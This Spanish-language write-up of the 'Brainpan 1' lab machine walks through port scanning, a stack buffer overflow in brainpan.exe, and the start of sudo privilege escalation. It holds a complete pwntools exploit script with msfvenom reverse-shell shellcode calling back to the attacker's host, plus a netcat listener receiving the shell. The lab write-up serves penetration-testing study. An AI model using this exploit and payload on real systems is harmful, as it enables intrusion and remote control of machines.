Brainpan 1


En esta máquina vamos a practicar el BoF (Buffer Overflow) más típico que suele caer en certificaciones como el eCPPT o el antiguo OSCP

February 9, 202414 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

> ping -c 1 192.168.1.139
PING 192.168.1.139 (192.168.1.139) 56(84) bytes of data.
64 bytes from 192.168.1.139: icmp_seq=1 ttl=64 time=0.240 ms

--- 192.168.1.139 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.240/0.240/0.240/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 192.168.1.139 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 192.168.1.139
   5[*] Open ports: 9999,10000
   6   7[*] Ports copied to clipboard
   8───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> sudo nmap -p9999,10000 -sCV 192.168.1.139 -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 18:42 CET
Nmap scan report for 192.168.1.139
Host is up (0.00053s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94SVN%I=7%D=2/4%Time=65BFCC92%P=x86_64-pc-linux-gnu%r(
SF:NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_
SF:\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x2
SF:0\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|
SF:\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20
SF:\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20
SF:\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN
SF:\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER
SF:\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:C3:40:1B (Oracle VirtualBox virtual NIC)
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 10000

Nmap ha reportado que por el puerto 10000 hay un SimpleHTTPServer de versión 0.6 (Python 2.7.3). Esto también lo podríamos haber visto con whatweb

$ whatweb 192.168.1.139:10000

http://192.168.1.139:10000 [200 OK] Country[RESERVED][ZZ], HTTPServer[SimpleHTTP/0.6 Python/2.7.3], IP[192.168.1.139], Python[2.7.3]

Al entrar a la web vemos una página simple sin nada destacable. En este punto podríamos tratar de hacer fuzzing para enumerar archivos o directorios dentro del servidor web. Para ello vamos a usar la herramienta wfuzz

> wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.1.139:10000/FUZZ

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                
=====================================================================                                                                                 
000000483:   301        0 L      0 W        0 Ch        "bin"  
Explicación parámetros
  • -c: Mostrar el resultado con colores
  • -t: Definir el tiempo del escaneo
  • –hc=404: Con esto le decimos que no nos interesan las respuestas cuyo código de estado sea 404, lo que significa que no queremos que nos reporte páginas que no existen
  • -w: Diccionario
  • FUZZ: Es donde va a ir probando el contenido del diccionario

Ha encontrado un directorio llamado bin en el cual dentro hay un archivo llamado brainpan.exe, vamos a descargárnoslo

$ wget 192.168.1.139:10000/bin/brainpan.exe
     
2024-02-04 18:57:28 (44.7 MB/s) - ‘brainpan.exe’ saved [21190/21190]

Vamos a pasarnos este binario a una máquina windows 7, en mi caso de 32 bits, mediante un servidor de python creado desde la máquina atacante con python3 -m http.server 80. Ahora desde el navegador de windows 7 si ponemos nuestra ip ya nos podremos bajar el archivo.

Puerto 9999

Al ejecutar el brainpan.exe desde la máquina windows, se abre una terminal en la cual pone “bind done on port 9999 waitin for connextions” Casualmente es el mismo puerto que tenía abierto la máquina víctima.

Si probamos de conectarnos con netcat por el puerto 9999 a la máquina windows y después nos conectamos a la máquina víctima por el puerto 9999 vemos que el mensaje es el mismo.

> nc 192.168.1.141 9999 #Windows 7
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >>
> nc 192.168.1.139 9999 #Víctima
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >>

Con esto sacamos la conclusión de que el archivo brainpan.exe es el mismo que se está ejecutando en la máquina víctima

Buffer Overflow

Para analizar el binario usaremos Inmunnity Debugger con mona.

Primero importamos el archivo en Imunity Debugger. Una vez importado lo ejecutamos desde inmunity debugger.

Durante la explotación vamos a ir desarrollando un script en python para agilizarlo todo…

from pwn import *

offset = 1000
junk = b"A" * offset
payload = junk
host, port = "192.168.1.141", 9999

r = remote(host, port)
r.sendline(payload)

Lo que vamos a hacer con esto es mandarle 1000 “A” al programa que corre por el puerto 9999 de la máquina windows.

Una vez ejecutado el script. Desde inmunity debugger se puede ver como ahora el EIP vale 41414141 lo que equivale a AAAA Esto significa que si ponemos un input muy largo podemos llegar a sobreescribir el EIP

EIP: (Punto de Instrucción de Entrada) es un registro que almacena la dirección de la próxima instrucción a ejecutar en un programa.

Calcular Offset

Ahora buscaremos cuantas “A” hay que poner para llegar al EIP. Para encontrar este número llamado offset, usaremos una cadena de caracteres diseñada para esto.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5...

Este comando nos ha generado una cadena de 1800 caracteres. La cual vamos a añadir en el script.

from pwn import *

junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8>
payload = junk
host, port = "192.168.1.141", 9999

r = remote(host, port)
r.sendline(payload)

Ejecutamos el script, y en el Imunnity Debugger aparece que el EIP vale: 35724134.

Con el siguiente comando calculamos automáticamente el offset

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1800 -q 35724134

[*] Exact match at offset 524

Buscar badchars

Una vez tenemos el control del EIP vamos a comprobar si hay badchars.

Los badchars básicamente son caracteres que pueden dar problemas a la hora de ejecutar un shellcode, un badchar típico es el \x00 (Null byte) el cual ya se suele excluir directamente porque da muchos problemas.

Para comprobar los badchars podríamos hacerlo de forma manual, pero vamos a usar mona para automatizarlo. Primero hay que definir el directorio de trabajo, en mi caso va a ser C:\Users\arnau\Desktop\bof

!mona config -set workingfolder C:\Users\arnau\Desktop\bof

Después vamos a crear un archivo con todos los bytes excluyendo el null byte (\x00), y lo vamos a guardar en el directorio de trabajo.

!mona bytearray -b "\x00"

Ahora dentro del archivo C:\Users\arnau\Desktop\bof\bytearray.txt están todos los bytes.

================================================================================
  Output generated by mona.py v2.0, rev 635 - Immunity Debugger
  Corelan Consulting bv - https://www.corelan.be
================================================================================
  OS : 7, release 6.1.7601
  Process being debugged : brainpan (pid 2272)
  Current mona arguments: bytearray -b "\x00"
================================================================================
  2024-02-05 19:12:33
================================================================================
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Todos estos bytes vamos a ponerlos en el script de python para que se incorporen después del EIP, de momento el EIP le vamos a dar de valor “42424242” (BBBB). Esto queda tal que asi:

from pwn import *

offset = 524
junk = b"A" * offset
eip = b"B" * 4
after_eip = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload = junk + eip + after_eip

host, port = "192.168.88.12", 9999

r = remote(host, port)
r.sendline(payload)

Ahora al hacer Click derecho en el ESP arriba a la derecha > Follow in Dump, vemos donde empiezan los bytes que hemos puesto después del EIP, y a la izquierda podemos ver la dirección de memoria donde empiezan los bytes de la comprobación de los badchars

0022F918   41414141  AAAA
0022F91C   41414141  AAAA
0022F920   41414141  AAAA
0022F924   41414141  AAAA
0022F928   41414141  AAAA
0022F92C   42424242  BBBB
0022F930   04030201  
0022F934   08070605  
0022F938   0C0B0A09  ...
0022F93C   100F0E0D  .
0022F940   14131211  
0022F944   18171615  
0022F948   1C1B1A19  
0022F94C   201F1E1D  
0022F950   24232221  !"#$
0022F954   28272625  %&'(
0022F958   2C2B2A29  )*+,
0022F95C   302F2E2D  -./0
0022F960   34333231  1234

Nos podemos fijar en que byte no sale representado de forma correcta o usar el siguiente comando de mona

!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 0022F930
0BADF00D  [+] Fetched 255 bytes successfully from C:\Users\arnau\Desktop\bof\bytearray.bin
0BADF00D      - Comparing 1 location(s)
0BADF00D  Comparing bytes from file with memory :
0022F930  [+] Comparing with memory at location : 0x0022f930 (Stack)
0022F930  !!! Hooray, normal shellcode unmodified !!!
0022F930  Bytes omitted from input: 00

Después de ejecutar el comando se abre una ventanita la cual muestra los badchars encontrados, en este caso no ha encontrado ninguno. Así que a la hora de crear el shellcode simplemente excluiremos los \x00

Protecciones

Con el siguiente comando podemos ver los las protecciones del binario

!mona modules
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D   Module info :
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D   Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------------------
....
0BADF00D   0x76df0000 | 0x76ec4000 | 0x000d4000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll) 0x140
0BADF00D   0x31170000 | 0x31176000 | 0x00006000 | False  | False   | False | False |  False   | False  | -1.0- [brainpan.exe] (C:\Users\arnau\Downloads\brainpan.exe) 0x0
0BADF00D   0x76960000 | 0x76a0c000 | 0x000ac000 | True   | True    | True  | False |  True    | True   | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll) 0x140
....
0BADF00D  -----------------------------------------------------------------------------------------------------------------------------------------  

En la fila del brainpan.exe sale todo en false.

JMP ESP

Ahora toca encontrar la dirección del JMP ESP. Para encontrarlo necesitamos saber el opcode de JMP ESP

> /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > jmp ESP
00000000  FFE4              jmp esp
nasm > 

El opcode de JMP ESP es FFE4, sabiendo esto, podemos buscar con mona la dirección del JMP ESP

!mona find -s "\xFF\xE4" -m brainpan.exe
712F3    0x311712f3 : "\xFF\xE4" |  {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\arnau\Downloads\brainpan.exe), 0x0

La dirección del JMP ESP es: 0x311712f3

Shellcode

Por último vamos a desarrollar el shellcode el cual nos enviara una reverse shell a nuestra máquina de atacante. Para crear el shellcode usaremos msfvenom de la siguiente forma:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.88.5 LPORT=443 --platform windows -a x86 -e x86/shikata_ga_nai -f py -b "\x00" EXITFUNC=thread

buf =  b""
buf += b"\xba\x0c\xa9\x71\x87\xdb\xde\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x31\x55\x12\x83\xc5\x04\x03\x59"
buf += b"\xa7\x93\x72\x9d\x5f\xd1\x7d\x5d\xa0\xb6\xf4\xb8"
buf += b"\x91\xf6\x63\xc9\x82\xc6\xe0\x9f\x2e\xac\xa5\x0b"
buf += b"\xa4\xc0\x61\x3c\x0d\x6e\x54\x73\x8e\xc3\xa4\x12"
buf += b"\x0c\x1e\xf9\xf4\x2d\xd1\x0c\xf5\x6a\x0c\xfc\xa7"
buf += b"\x23\x5a\x53\x57\x47\x16\x68\xdc\x1b\xb6\xe8\x01"
buf += b"\xeb\xb9\xd9\x94\x67\xe0\xf9\x17\xab\x98\xb3\x0f"
buf += b"\xa8\xa5\x0a\xa4\x1a\x51\x8d\x6c\x53\x9a\x22\x51"
buf += b"\x5b\x69\x3a\x96\x5c\x92\x49\xee\x9e\x2f\x4a\x35"
buf += b"\xdc\xeb\xdf\xad\x46\x7f\x47\x09\x76\xac\x1e\xda"
buf += b"\x74\x19\x54\x84\x98\x9c\xb9\xbf\xa5\x15\x3c\x6f"
buf += b"\x2c\x6d\x1b\xab\x74\x35\x02\xea\xd0\x98\x3b\xec"
buf += b"\xba\x45\x9e\x67\x56\x91\x93\x2a\x3f\x56\x9e\xd4"
buf += b"\xbf\xf0\xa9\xa7\x8d\x5f\x02\x2f\xbe\x28\x8c\xa8"
buf += b"\xc1\x02\x68\x26\x3c\xad\x89\x6f\xfb\xf9\xd9\x07"
buf += b"\x2a\x82\xb1\xd7\xd3\x57\x15\x87\x7b\x08\xd6\x77"
buf += b"\x3c\xf8\xbe\x9d\xb3\x27\xde\x9e\x19\x40\x75\x65"
buf += b"\xca\xaf\x22\x3d\x0f\x58\x31\xbd\x0e\x23\xbc\x5b"
buf += b"\x7a\x43\xe9\xf4\x13\xfa\xb0\x8e\x82\x03\x6f\xeb"
buf += b"\x85\x88\x9c\x0c\x4b\x79\xe8\x1e\x3c\x89\xa7\x7c"
buf += b"\xeb\x96\x1d\xe8\x77\x04\xfa\xe8\xfe\x35\x55\xbf"
buf += b"\x57\x8b\xac\x55\x4a\xb2\x06\x4b\x97\x22\x60\xcf"
buf += b"\x4c\x97\x6f\xce\x01\xa3\x4b\xc0\xdf\x2c\xd0\xb4"
buf += b"\x8f\x7a\x8e\x62\x76\xd5\x60\xdc\x20\x8a\x2a\x88"
buf += b"\xb5\xe0\xec\xce\xb9\x2c\x9b\x2e\x0b\x99\xda\x51"
buf += b"\xa4\x4d\xeb\x2a\xd8\xed\x14\xe1\x58\x0d\xf7\x23"
buf += b"\x95\xa6\xae\xa6\x14\xab\x50\x1d\x5a\xd2\xd2\x97"
buf += b"\x23\x21\xca\xd2\x26\x6d\x4c\x0f\x5b\xfe\x39\x2f"
buf += b"\xc8\xff\x6b"

Falta juntarlo todo en el script

from pwn import *
from struct import pack

offset = 524
junk = b"A" * offset
eip = pack("<I", 0x311712f3)
buf =  b""
buf += b"\xba\x0c\xa9\x71\x87\xdb\xde\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x31\x55\x12\x83\xc5\x04\x03\x59"
buf += b"\xa7\x93\x72\x9d\x5f\xd1\x7d\x5d\xa0\xb6\xf4\xb8"
buf += b"\x91\xf6\x63\xc9\x82\xc6\xe0\x9f\x2e\xac\xa5\x0b"
buf += b"\xa4\xc0\x61\x3c\x0d\x6e\x54\x73\x8e\xc3\xa4\x12"
buf += b"\x0c\x1e\xf9\xf4\x2d\xd1\x0c\xf5\x6a\x0c\xfc\xa7"
buf += b"\x23\x5a\x53\x57\x47\x16\x68\xdc\x1b\xb6\xe8\x01"
buf += b"\xeb\xb9\xd9\x94\x67\xe0\xf9\x17\xab\x98\xb3\x0f"
buf += b"\xa8\xa5\x0a\xa4\x1a\x51\x8d\x6c\x53\x9a\x22\x51"
buf += b"\x5b\x69\x3a\x96\x5c\x92\x49\xee\x9e\x2f\x4a\x35"
buf += b"\xdc\xeb\xdf\xad\x46\x7f\x47\x09\x76\xac\x1e\xda"
buf += b"\x74\x19\x54\x84\x98\x9c\xb9\xbf\xa5\x15\x3c\x6f"
buf += b"\x2c\x6d\x1b\xab\x74\x35\x02\xea\xd0\x98\x3b\xec"
buf += b"\xba\x45\x9e\x67\x56\x91\x93\x2a\x3f\x56\x9e\xd4"
buf += b"\xbf\xf0\xa9\xa7\x8d\x5f\x02\x2f\xbe\x28\x8c\xa8"
buf += b"\xc1\x02\x68\x26\x3c\xad\x89\x6f\xfb\xf9\xd9\x07"
buf += b"\x2a\x82\xb1\xd7\xd3\x57\x15\x87\x7b\x08\xd6\x77"
buf += b"\x3c\xf8\xbe\x9d\xb3\x27\xde\x9e\x19\x40\x75\x65"
buf += b"\xca\xaf\x22\x3d\x0f\x58\x31\xbd\x0e\x23\xbc\x5b"
buf += b"\x7a\x43\xe9\xf4\x13\xfa\xb0\x8e\x82\x03\x6f\xeb"
buf += b"\x85\x88\x9c\x0c\x4b\x79\xe8\x1e\x3c\x89\xa7\x7c"
buf += b"\xeb\x96\x1d\xe8\x77\x04\xfa\xe8\xfe\x35\x55\xbf"
buf += b"\x57\x8b\xac\x55\x4a\xb2\x06\x4b\x97\x22\x60\xcf"
buf += b"\x4c\x97\x6f\xce\x01\xa3\x4b\xc0\xdf\x2c\xd0\xb4"
buf += b"\x8f\x7a\x8e\x62\x76\xd5\x60\xdc\x20\x8a\x2a\x88"
buf += b"\xb5\xe0\xec\xce\xb9\x2c\x9b\x2e\x0b\x99\xda\x51"
buf += b"\xa4\x4d\xeb\x2a\xd8\xed\x14\xe1\x58\x0d\xf7\x23"
buf += b"\x95\xa6\xae\xa6\x14\xab\x50\x1d\x5a\xd2\xd2\x97"
buf += b"\x23\x21\xca\xd2\x26\x6d\x4c\x0f\x5b\xfe\x39\x2f"
buf += b"\xc8\xff\x6b"

payload = junk + eip + b"\x90" * 16 + buf

host, port = "192.168.88.12", 9999

r = remote(host, port)
r.sendline(payload)

Repasando el script:

Primero se define el offset que es la cantidad de caracteres que ponemos para llegar hasta el eip, en el eip ponemos la dirección del JMP ESP para que salte al ESP. Después del eip ponemos 16 veces “\x90” y por último el shellcode.

¿Por qué ponemos \x90 antes del shellcode?

La memoria puede moverse un poco durante la ejecución del programa, así que no sabemos exactamente en qué dirección comenzará el shellcode en el búfer. El NOP-sled es una forma de lidiar con esto.

Un NOP-sled es una secuencia de instrucciones NOP (sin operación) destinadas a “deslizar” el flujo de ejecución de instrucciones de la CPU a la siguiente dirección de memoria. Dondequiera que la dirección de retorno aterrice en el NOP-sled, se deslizará a lo largo del búfer hasta que alcance el inicio del shellcode

Solo falta ponernos en escucha y ¡ejecutar el script!

> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.88.5] from (UNKNOWN) [192.168.88.12] 49190
Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

Escalada de privilegios

Dentro de la carpeta del directorio personal de puck vemos este archivo

#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then 
	pid=`ps aux | grep brainpan.exe | grep -v grep`
	if [[ ! -z $pid ]]; then
		kill -9 $pid
		killall wineserver
		killall winedevice.exe
	fi
	/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi 

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then 
	pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
	if [[ ! -z $pid ]]; then
		kill -9 $pid
	fi
	cd /home/puck/web
	/usr/bin/python -m SimpleHTTPServer 10000
fi 

Esto es un script en bash esto significa que esto es un linux, así que vamos a cambiar el payload para linux.

> msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.88.5 LPORT=443 -b "\x00" -f py shellcode

buf =  b""
buf += b"\xda\xdb\xbf\x5f\xa4\xa1\x30\xd9\x74\x24\xf4\x5a"
buf += b"\x29\xc9\xb1\x12\x31\x7a\x17\x03\x7a\x17\x83\xb5"
buf += b"\x58\x43\xc5\x78\x7a\x73\xc5\x29\x3f\x2f\x60\xcf"
buf += b"\x36\x2e\xc4\xa9\x85\x31\xb6\x6c\xa6\x0d\x74\x0e"
buf += b"\x8f\x08\x7f\x66\xd0\x43\x27\x73\xb8\x91\xd8\x7a"
buf += b"\x83\x1f\x39\xcc\x95\x4f\xeb\x7f\xe9\x73\x82\x9e"
buf += b"\xc0\xf4\xc6\x08\xb5\xdb\x95\xa0\x21\x0b\x75\x52"
buf += b"\xdb\xda\x6a\xc0\x48\x54\x8d\x54\x65\xab\xce"

Ahora dentro con sudo -lvemos que podemos ejecutar /home/anansi/bin/anansi_util como root sin contraseña.

puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

Este script tiene 3 opciones

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util         
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
  • Network

Ejecuta un ifconfig

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util network
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
